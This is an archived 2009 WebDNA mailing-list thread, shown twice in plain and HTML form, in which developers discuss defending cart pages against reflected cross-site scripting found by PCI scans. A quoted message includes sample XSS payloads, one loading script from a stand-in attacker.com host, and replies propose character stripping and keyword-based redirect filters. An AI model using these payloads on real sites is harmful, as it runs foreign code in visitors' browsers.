Re: [WebDNA] PCI Vulnerability testing

This WebDNA talk-list message is from

2009


It keeps the original formatting.
numero = 102404
interpreted = N
texte = --Apple-Mail-6--645356331 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Hi Matthew, Any specific reason you redirect to the index page? -Jeff On Apr 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote: > This seems to work for me. > It seems to stand up to the attacks from McAfee Secure > > [formvariables] > [showif [url][name][/url]^script>][redirect /index.html][/showif] > [showif [url][name][/url]^iframe][redirect /index.html][/showif] > [text][url][name][/url]=3D[input][value][/input][/text] > [/formvariables] > [showif [countchars][cart][/countchars]>18][redirect /index.html][/=20 > showif] > > Matthew A Perosi JewelerWebsites.com > ------------------------------by Psi Prime------- > Senior Web Developer 323 Union Blvd. > Totowa, NJ 07512 > Pre-Sales: 888.872.0274 > Service: 973.413.8213 > Training: 973.413.8214 > Fax: 973.413.8217 > > http://www.jewelerwebsites.com > http://en.wikipedia.org/wiki/Psi_Prime%2C_Inc > http://www.psiprime.com > > > Marc Thompson wrote: >> >> You are correct Willian NEVER trust user input. >> What I always do is simply remove any characters I don't recognize =20= >> using >> grep. All user input is "cleaned" before taking any action on it >> whatsoever. >> >> For [cart] values: >> [GetChars start=3D1&end=3D20][Grep >> search=3D[^0-9]&replace=3D][value][/Grep][/GetChars] >> >> For other text values: >> [GetChars start=3D1&end=3D100][Grep search=3D[^ >> ,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars]= >> >> Marc >> >> William DeVaul wrote: >> >>> I have no idea about a server level fix. This goes to never =20 >>> trusting >>> user input. I thought it should always be surrounded by [raw] and >>> [url] to prevent this. >>> >>> What do others do? >>> >>> Bill >>> >>> On Mon, Apr 13, 2009 at 2:08 PM, Bob Minor =20 >>> wrote: >>> >>>> What are people doing for the following type of attacks? >>>> >>>> http://www.example.com/shoppingcart.tpl?cart=3D" >>>>> This will exploit the reflected cross site scripting =20 >>>>> vulnerability shown >>>>> before, executing the javascript code stored on the attacker's =20 >>>>> web server as >>>>> if it was originating from the victim web site, www.example.com. >>>>> A complete test will include instantiating a variable with =20 >>>>> several attack >>>>> vectors (Check Fuzz vectors appendix and Encoded injection =20 >>>>> appendix). >>>>> Finally, analyzing answers can get complex. A simple way to do =20 >>>>> this is to >>>>> use code that pops up a dialog, as in our example. This =20 >>>>> typically indicates >>>>> that an attacker could execute arbitrary JavaScript of his =20 >>>>> choice in the >>>>> visitors' browsers. >>>>> >>> --------------------------------------------------------- >>> This message is sent to you because you are subscribed to >>> the mailing list . >>> To unsubscribe, E-mail to: >>> archives: http://mail.webdna.us/list/talk@webdna.us >>> old archives: http://dev.webdna.us/TalkListArchive/ >>> . >>> >>> >> --Apple-Mail-6--645356331 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=ISO-8859-1
Hi Matthew,

Any specific reason you redirect to = the index page?

-Jeff

On Apr = 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote:

This = seems to work for me.
It seems to stand up to the attacks from = McAfee Secure

[formvariables]
[showif = [url][name][/url]^script>][redirect /index.html][/showif]
[showif = [url][name][/url]^iframe][redirect /index.html][/showif]
= [text][url][name][/url]=3D[input][value][/input][/text]
= [/formvariables]
[showif = [countchars][cart][/countchars]>18][redirect = /index.html][/showif]


Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com

=
Marc Thompson wrote:
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=3D1&end=3D20][Grepsearch=3D[^0-9]&replace=3D][value][/Grep][/GetChars]For other text values:[GetChars start=3D1&end=3D100][Grep search=3D[^,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars=]MarcWilliam DeVaul wrote:  
I have no idea =about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What are =people doing for the following type of attacks?http://www.exampl=e.com/shoppingcart.tpl?cart=3D"<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=3D=<SCRIPT%20a=3D">"%20SRC=3D"http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web =server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several =attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is =touse code that pops up a dialog, as in our example. This typically =indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/l=ist/talk@webdna.usold archives: http://dev.webdna.us/TalkLi=stArchive/.    
  
=

= --Apple-Mail-6--645356331-- Associated Messages, from the most recent to the oldest:

    
  1. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  2. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  3. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  4. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  5. Re: [WebDNA] PCI Vulnerability testing (Jeffrey Jones 2009)
  6. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  7. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  8. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  9. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  10. Re: [WebDNA] PCI Vulnerability testing ("Psi Prime, Matthew A Perosi " 2009)
  11. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  12. Re: [WebDNA] PCI Vulnerability testing (Govinda 2009)
  13. Re: [WebDNA] PCI Vulnerability testing (Marc Thompson 2009)
  14. Re: [WebDNA] PCI Vulnerability testing (William DeVaul 2009)
  15. [WebDNA] PCI Vulnerability testing (Bob Minor 2009)
--Apple-Mail-6--645356331 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Hi Matthew, Any specific reason you redirect to the index page? -Jeff On Apr 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote: > This seems to work for me. > It seems to stand up to the attacks from McAfee Secure > > [formvariables] > [showif [url][name][/url]^script>][redirect /index.html][/showif] > [showif [url][name][/url]^iframe][redirect /index.html][/showif] > [text][url][name][/url]=3D[input][value][/input][/text] > [/formvariables] > [showif [countchars][cart][/countchars]>18][redirect /index.html][/=20 > showif] > > Matthew A Perosi JewelerWebsites.com > ------------------------------by Psi Prime------- > Senior Web Developer 323 Union Blvd. > Totowa, NJ 07512 > Pre-Sales: 888.872.0274 > Service: 973.413.8213 > Training: 973.413.8214 > Fax: 973.413.8217 > > http://www.jewelerwebsites.com > http://en.wikipedia.org/wiki/Psi_Prime%2C_Inc > http://www.psiprime.com > > > Marc Thompson wrote: >> >> You are correct Willian NEVER trust user input. >> What I always do is simply remove any characters I don't recognize =20= >> using >> grep. All user input is "cleaned" before taking any action on it >> whatsoever. >> >> For [cart] values: >> [GetChars start=3D1&end=3D20][Grep >> search=3D[^0-9]&replace=3D][value][/Grep][/GetChars] >> >> For other text values: >> [GetChars start=3D1&end=3D100][Grep search=3D[^ >> ,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars]= >> >> Marc >> >> William DeVaul wrote: >> >>> I have no idea about a server level fix. This goes to never =20 >>> trusting >>> user input. I thought it should always be surrounded by [raw] and >>> [url] to prevent this. >>> >>> What do others do? >>> >>> Bill >>> >>> On Mon, Apr 13, 2009 at 2:08 PM, Bob Minor =20 >>> wrote: >>> >>>> What are people doing for the following type of attacks? >>>> >>>> http://www.example.com/shoppingcart.tpl?cart=3D" >>>>> This will exploit the reflected cross site scripting =20 >>>>> vulnerability shown >>>>> before, executing the javascript code stored on the attacker's =20 >>>>> web server as >>>>> if it was originating from the victim web site, www.example.com. >>>>> A complete test will include instantiating a variable with =20 >>>>> several attack >>>>> vectors (Check Fuzz vectors appendix and Encoded injection =20 >>>>> appendix). >>>>> Finally, analyzing answers can get complex. A simple way to do =20 >>>>> this is to >>>>> use code that pops up a dialog, as in our example. This =20 >>>>> typically indicates >>>>> that an attacker could execute arbitrary JavaScript of his =20 >>>>> choice in the >>>>> visitors' browsers. >>>>> >>> --------------------------------------------------------- >>> This message is sent to you because you are subscribed to >>> the mailing list . >>> To unsubscribe, E-mail to: >>> archives: http://mail.webdna.us/list/talk@webdna.us >>> old archives: http://dev.webdna.us/TalkListArchive/ >>> . >>> >>> >> --Apple-Mail-6--645356331 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=ISO-8859-1
Hi Matthew,

Any specific reason you redirect to = the index page?

-Jeff

On Apr = 13, 2009, at 12:35 PM, Psi Prime, Matthew A Perosi wrote:

This = seems to work for me.
It seems to stand up to the attacks from = McAfee Secure

[formvariables]
[showif = [url][name][/url]^script>][redirect /index.html][/showif]
[showif = [url][name][/url]^iframe][redirect /index.html][/showif]
= [text][url][name][/url]=3D[input][value][/input][/text]
= [/formvariables]
[showif = [countchars][cart][/countchars]>18][redirect = /index.html][/showif]


Matthew A Perosi            JewelerWebsites.com------------------------------by Psi Prime-------Senior Web Developer             323 Union Blvd.                                 Totowa, NJ 07512Pre-Sales: 888.872.0274Service:   973.413.8213Training:  973.413.8214Fax:       973.413.8217http://www.jewelerwebsites.com=http://en.wikipedia=.org/wiki/Psi_Prime%2C_Inchttp://www.psiprime.com

=
Marc Thompson wrote:
You are correct Willian NEVER trust user input.What I always do is simply remove any characters I don't recognize using grep.  All user input is "cleaned" before taking any action on itwhatsoever.For [cart] values:[GetChars start=3D1&end=3D20][Grepsearch=3D[^0-9]&replace=3D][value][/Grep][/GetChars]For other text values:[GetChars start=3D1&end=3D100][Grep search=3D[^,-.%@_A-Za-z0-9=DC=FC=C4=E4=D6=F6]&replace=3D][value][/Grep][/GetChars=]MarcWilliam DeVaul wrote:  
I have no idea =about a server level fix.  This goes to never trustinguser input.  I thought it should always be surrounded by [raw] and[url] to prevent this.What do others do?BillOn Mon, Apr 13, 2009 at 2:08 PM, Bob Minor <bob@cybermill.com> wrote:    
What are =people doing for the following type of attacks?http://www.exampl=e.com/shoppingcart.tpl?cart=3D"<script>alert123</script>"I assume you could just do a [removehtml][cart][/removehtml]I know you can do something like that at the code level but is theresomething that can be done at the server level or does the new versioncicadae have built in protections?More info on the attack      
http://www.example.com/?var=3D=<SCRIPT%20a=3D">"%20SRC=3D"http://www.attacker.com/xss.js"></SCRIPT>This will exploit the reflected cross site scripting vulnerability shownbefore, executing the javascript code stored on the attacker's web =server asif it was originating from the victim web site, www.example.com.A complete test will include instantiating a variable with several =attackvectors (Check Fuzz vectors appendix and Encoded injection appendix).Finally, analyzing answers can get complex. A simple way to do this is =touse code that pops up a dialog, as in our example. This typically =indicatesthat an attacker could execute arbitrary JavaScript of his choice in thevisitors' browsers.        
---------------------------------------------------------This message is sent to you because you are subscribed tothe mailing list <talk@webdna.us>.To unsubscribe, E-mail to: <talk-leave@webdna.us>archives: http://mail.webdna.us/l=ist/talk@webdna.usold archives: http://dev.webdna.us/TalkLi=stArchive/.    
  
=

= --Apple-Mail-6--645356331-- Jeffrey Jones

DOWNLOAD WEBDNA NOW!

Top Articles:

Talk List

The WebDNA community talk-list is the best place to get some help: several hundred extremely proficient programmers with an excellent knowledge of WebDNA and an excellent spirit will deliver all the tips and tricks you can imagine...

Related Readings:

[WebDNA] Does not understand 'search' command? (2014) UPS (2003) Keep away (1997) Cart problem (1999) Open Source (2000) Communigate (2001) My solution... (1996) Webmerchant (1999) WebCat2b13MacPlugIn - [shownext method=post] ??? (1997) Doing what I can (2004) A question on sub-categories (1997) Shopping problems with 2.1b3 acgi (1997) showif and cart (1998) The max=0 issue is a bug ... (2000) Include a big block of text (1997) Forms Search Questions (1997) All choices on IE different than Netscape (1997) autosensing lanague selection (1997) HELP WITH DATES (1997) WebCat2b15MacPlugin - showing [math] (1997)